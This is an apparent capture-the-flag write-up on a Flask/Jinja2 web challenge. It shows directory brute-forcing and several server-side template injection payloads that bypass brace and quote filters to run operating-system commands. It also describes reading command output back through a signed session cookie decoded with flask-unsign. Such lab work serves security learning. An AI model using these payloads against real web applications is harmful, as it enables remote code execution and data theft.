It is very interesting web challenges from the HTB. To begin, it requires knowledge about Server side Template Injection which is know for the name is SSTI. If you don’t know it, Portswigger lab (link) is a good place to start.
Now let’s start.

Enumeration

alt text
At a first glance, we can see this page has only 1 input field and when you submit it, it make a GET request to itself with paramater is name. I will start with some directories bruteforcing.

Directory brute force

gobuster dir -u http://188.166.173.208:31766/ -w /usr/share/wordlists/dirb/common.txt -t 20
...
===============================================================
/console              (Status: 200) [Size: 1985]
/debug                (Status: 200) [Size: 2298]

The result give us 2 more directories

  • /console: a debug console for Flask
  • /debug: a page showing some source code (you can also find this one base on view source of the landing page)

/console

alt text
This one showing the debug console but we have no pin code for it. So I will move on

/debug

This could be the source code of the main.py. By reading you can extract these information

  • It has 2 route is / and /debug
  • It is using Template engine is jinja2
  • The main flow of the code of the landing page is it take your input and then store it in the database. Then it fetch data from database and put it into the template acc_templ by replacing 2 word is baby_ninja and reb_num. But we can’t see that page where our payload in put inside

Base on that, we can indentify there could be 3 possible flaw is XSS, SQLi and SSTI. However we notice that it has a filtered mechanism

It filtered out our ' so it could make SQLi be more harder as well as SSTI. But with SSTI we have more to bypass so it could be a good choice in compare with SQLi. Moreover, a successfull SSTI can produce RCE which is more danger and don’t require user interaction like XSS. So it is a good choice to start witth SSTI here.

Exploit

For the exploit I try to use tplmap but it don’t work so I have to exploit it manually

Bypass filter

So we know that it filtered out { {, ' and ". After a few research from hackstrick and this article I found out we can bypass these using these techinque
NOTE: For these below we dont have space between { and { or { and % like { %. I have to add space to bypass the error for rendering my github page
For { {: we can use payload without using { { is:

?name={ % if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'chiv' % } a { % endif % }

But the problem now shift to '. So I found out another payload which is use less '

?name={ % if request.application.__globals__.__builtins__.__import__('os').popen('sleep 5').read() == 1 % }{ % endif % }

Now we have only 2 field that need ' but we can bypass this by get string from another GET paramters like this

?name={ % if request.application.__globals__.__builtins__.__import__(request.args.os).popen(request.args.cmd).read() == 1 % } { % endif % }&os=os&cmd=sleep 5

By using 2 new parameter is os and cmd and replacing the strings with data get from our paramter request.args.os and request.args.cmd we can bypass the filter. Cause we can’t see the site so I use sleep 5 to cause the system delays 5s to check whether our code run

Extractfill the data

Now we can execute our code but how can we get data. The first way i try to make a request to my Burp Collaborator Client with the command nslookup burl_url but it not work (it could be the box block the request). Now I start to googling and read its documents. And after a hints on the dicussion, I came up with the idea that we can store our return value inside session cookie and decode to read it. So i use this payload

?name=&os=os&cmd=whoami&key=data

Cause the session cookie key require a strings so we need one more param is key and use request.args.key to get that value. After submit it, you can see the Set Cookie header in the Reponse hold our session. Take that session and the decode with flask-unsign

root@kali:/tmp# pip3 install flask-unsign
...
root@kali:/tmp# flask-unsign -d -c eyJkYXRhIjp7IiBiIjoiYm05aWIyUjVDZz09In19.YRZOoA.q1tSVcFtdq4spyBu8Dp_ym5-UI8
{'data': b'nobody\n'}

Now we successfull to extract the data. You can use this to find the flag name and extract it

root@kali:/tmp# flask-unsign -d -c eyJkY[REDECTED]
{'data': b'app.py\nflag_xxxxx\nschema.sql\nstatic\ntemplates\n'}
root@kali:/tmp# flask-unsign -d -c eyJkYXRhIjp[REDECTED]
{'data': b'HTB{b4byxxxxxxxxxxxxxxxxxxxxxxc4ughT}\n'}

And this is the end